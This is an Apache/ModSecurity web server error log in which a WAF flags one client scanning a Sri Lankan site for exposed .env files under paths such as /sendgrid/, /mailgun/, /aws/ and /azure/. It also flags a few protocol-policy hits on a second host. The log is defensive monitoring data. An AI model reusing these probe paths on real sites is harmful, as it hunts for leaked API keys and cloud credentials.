[Fri Jul 17 09:26:21.172133 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/ses/.env"] [unique_id "almn5U_0b3nWp8txtSDClgAAAA0"]
[Fri Jul 17 09:26:21.203779 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.208314 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.333410 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.354995 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sendgrid/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/sendgrid/.env"] [unique_id "almn5Q5GPQ6hs4VrfMpHuAAAAAY"]
[Fri Jul 17 09:26:21.355257 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/sendgrid/.env"] [unique_id "almn5Q5GPQ6hs4VrfMpHuAAAAAY"]
[Fri Jul 17 09:26:21.355656 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/sendgrid/.env"] [unique_id "almn5Q5GPQ6hs4VrfMpHuAAAAAY"]
[Fri Jul 17 09:26:21.373276 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.526812 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sparkpost/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/sparkpost/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcQAAAAI"]
[Fri Jul 17 09:26:21.527075 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/sparkpost/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcQAAAAI"]
[Fri Jul 17 09:26:21.527447 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/sparkpost/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcQAAAAI"]
[Fri Jul 17 09:26:21.576343 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.696538 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postmark/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/postmark/.env"] [unique_id "almn5ZBVIrrUwtEhdafWfgAAAAU"]
[Fri Jul 17 09:26:21.696837 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/postmark/.env"] [unique_id "almn5ZBVIrrUwtEhdafWfgAAAAU"]
[Fri Jul 17 09:26:21.697303 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/postmark/.env"] [unique_id "almn5ZBVIrrUwtEhdafWfgAAAAU"]
[Fri Jul 17 09:26:21.780992 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.869479 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailgun/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mailgun/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcgAAAAI"]
[Fri Jul 17 09:26:21.869777 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mailgun/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcgAAAAI"]
[Fri Jul 17 09:26:21.870164 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mailgun/.env"] [unique_id "almn5Y1dLClkUfK_dfHqcgAAAAI"]
[Fri Jul 17 09:26:22.089659 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mandrill/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mandrill/.env"] [unique_id "almn5pBVIrrUwtEhdafWfwAAAAU"]
[Fri Jul 17 09:26:22.089913 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mandrill/.env"] [unique_id "almn5pBVIrrUwtEhdafWfwAAAAU"]
[Fri Jul 17 09:26:22.090278 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mandrill/.env"] [unique_id "almn5pBVIrrUwtEhdafWfwAAAAU"]
[Fri Jul 17 09:26:22.204182 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:22.299182 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailjet/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mailjet/.env"] [unique_id "almn5rEKozcCJ-ReuK0IeAAAAAg"]
[Fri Jul 17 09:26:22.299480 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mailjet/.env"] [unique_id "almn5rEKozcCJ-ReuK0IeAAAAAg"]
[Fri Jul 17 09:26:22.299919 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mailjet/.env"] [unique_id "almn5rEKozcCJ-ReuK0IeAAAAAg"]
[Fri Jul 17 09:26:22.331325 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5g5GPQ6hs4VrfMpHuwAAAAY"]
[Fri Jul 17 09:26:22.331475 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5g5GPQ6hs4VrfMpHuwAAAAY"]
[Fri Jul 17 09:26:22.332443 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5g5GPQ6hs4VrfMpHuwAAAAY"]
[Fri Jul 17 09:26:22.483524 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /brevo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/brevo/.env"] [unique_id "almn5q14q1EBnanVMYGplgAAAAk"]
[Fri Jul 17 09:26:22.483901 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/brevo/.env"] [unique_id "almn5q14q1EBnanVMYGplgAAAAk"]
[Fri Jul 17 09:26:22.484473 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/brevo/.env"] [unique_id "almn5q14q1EBnanVMYGplgAAAAk"]
[Fri Jul 17 09:26:22.508179 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:22.569516 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5g5GPQ6hs4VrfMpHuwAAAAY"]
[Fri Jul 17 09:26:22.609196 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:22.660442 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /transactional/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/transactional/.env"] [unique_id "almn5o1dLClkUfK_dfHqdAAAAAI"]
[Fri Jul 17 09:26:22.660718 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/transactional/.env"] [unique_id "almn5o1dLClkUfK_dfHqdAAAAAI"]
[Fri Jul 17 09:26:22.661081 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/transactional/.env"] [unique_id "almn5o1dLClkUfK_dfHqdAAAAAI"]
[Fri Jul 17 09:26:22.820402 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bulk/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/bulk/.env"] [unique_id "almn5gRRrtuZqNDDSqW1ZAAAABo"]
[Fri Jul 17 09:26:22.820698 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/bulk/.env"] [unique_id "almn5gRRrtuZqNDDSqW1ZAAAABo"]
[Fri Jul 17 09:26:22.821090 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/bulk/.env"] [unique_id "almn5gRRrtuZqNDDSqW1ZAAAABo"]
[Fri Jul 17 09:26:22.826030 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:22.977714 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/aws/.env"] [unique_id "almn5g5GPQ6hs4VrfMpHvAAAAAY"]
[Fri Jul 17 09:26:22.977988 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/aws/.env"] [unique_id "almn5g5GPQ6hs4VrfMpHvAAAAAY"]
[Fri Jul 17 09:26:22.978381 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/aws/.env"] [unique_id "almn5g5GPQ6hs4VrfMpHvAAAAAY"]
[Fri Jul 17 09:26:23.145598 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /azure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/azure/.env"] [unique_id "almn57EWOaI5pmYo9fnUYgAAAAA"]
[Fri Jul 17 09:26:23.145837 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/azure/.env"] [unique_id "almn57EWOaI5pmYo9fnUYgAAAAA"]
[Fri Jul 17 09:26:23.146198 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/azure/.env"] [unique_id "almn57EWOaI5pmYo9fnUYgAAAAA"]
